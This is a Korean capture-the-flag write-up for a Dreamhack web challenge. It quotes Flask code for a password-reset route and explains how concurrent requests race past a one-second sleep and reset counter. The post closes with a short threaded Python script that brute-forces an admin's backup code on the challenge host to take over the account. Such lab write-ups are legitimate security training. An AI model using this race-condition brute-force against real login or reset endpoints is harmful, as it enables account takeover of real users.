https://dreamhack.io/wargame/challenges/47/
난이도: Level 2
userLevel = {
0 : 'guest',
1 : 'admin'
}
@app.route('/user/<int:useridx>')
def users(useridx):
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE idx = ?;', [str(useridx)]).fetchone()
if user:
return render_template('user.html', user=user)
return "<script>alert('User Not Found.');history.back(-1);</script>";
/user/{useridx} 페이지에는 useridx에 따라 유저 정보를 보여주고 있습니다.
/user/1 경로에 접근해보면, admin 계정인 Apple 계정이 있는 것을 알 수 있습니다.
1~5까지 시도해보면 guest 계정인 유저도 존재하고, /user/5 경로에 접근해보면, admin 계정인 Dog 계정 또한 있는 것을 확인할 수 있습니다.
@app.route('/admin')
def admin():
if session and (session['level'] == userLevel[1]):
return FLAG
return "Only Admin !"
app.run(host='0.0.0.0', port=8000)
/admin 경로에 접근하여 FLAG를 얻기 위해서는 userLevel이 1인 계정으로 로그인하면 됩니다.
@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'GET':
return render_template('forgot.html')
else:
userid = request.form.get("userid")
newpassword = request.form.get("newpassword")
backupCode = request.form.get("backupCode", type=int)
conn = get_db()
cur = conn.cursor()
user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
if user:
# security for brute force Attack.
time.sleep(1)
if user['resetCount'] == MAXRESETCOUNT:
return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
if user['backupCode'] == backupCode:
newbackupCode = makeBackupcode()
updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
cur.execute(updateSQL, (hashlib.sha256(newpassword.encode()).hexdigest(), newbackupCode, str(user['idx'])))
msg = f"<b>Password Change Success.</b><br/>New BackupCode : {newbackupCode}"
else:
updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
cur.execute(updateSQL, (str(user['idx'])))
msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
conn.commit()
return render_template("index.html", msg=msg)
return "<script>alert('User Not Found.');history.back(-1);</script>";
forget_password 코드를 보면, userid, newpassword, backupCode 값을 받아 새로운 비밀번호를 설정할 수 있도록 해줍니다. 하지만, 5번 틀릴 경우 rest Count Exceed 경고가 뜨며 접속할 수 없게 됩니다.
추가로, BruteForce 공격을 막기 위해 time.sleep(1) 코드가 추가되어 있지만, 이는 Race Condition 문제로 인해 계속해서 POST 요청을 시도하면 첫 번째 요청이 sleep(1) 을 수행하고 있을 동안 다른 스레드가 POST 요청이 가능해집니다.
이를 코드로 구현하면 아래와 같이 구현할 수 있습니다.
Exploit Code
import requests
import threading
url = "http://host3.dreamhack.games:9475/forgot_password"
for i in range(100):
data = { "userid": "Dog", "newpassword": "Dog", "backupCode": i}
print(data)
thread = threading.Thread(target=requests.post, args=(url, data))
thread.start()
패스워드를 Dog 으로 수정하여 로그인한 모습입니다. admin에 들어가시면 FLAG 를 획득하실 수 있습니다.
'DreamHack' 카테고리의 다른 글
[DreamHack] Return to Library (0) | 2023.06.19 |
---|---|
[DreamHack] web-ssrf (0) | 2023.06.17 |
[DreamHack] XSS Filtering Bypass (1) | 2023.06.15 |
[DreamHack] baby-sqlite (0) | 2023.06.15 |
[DreamHack] Command Injection Advanced (0) | 2023.06.13 |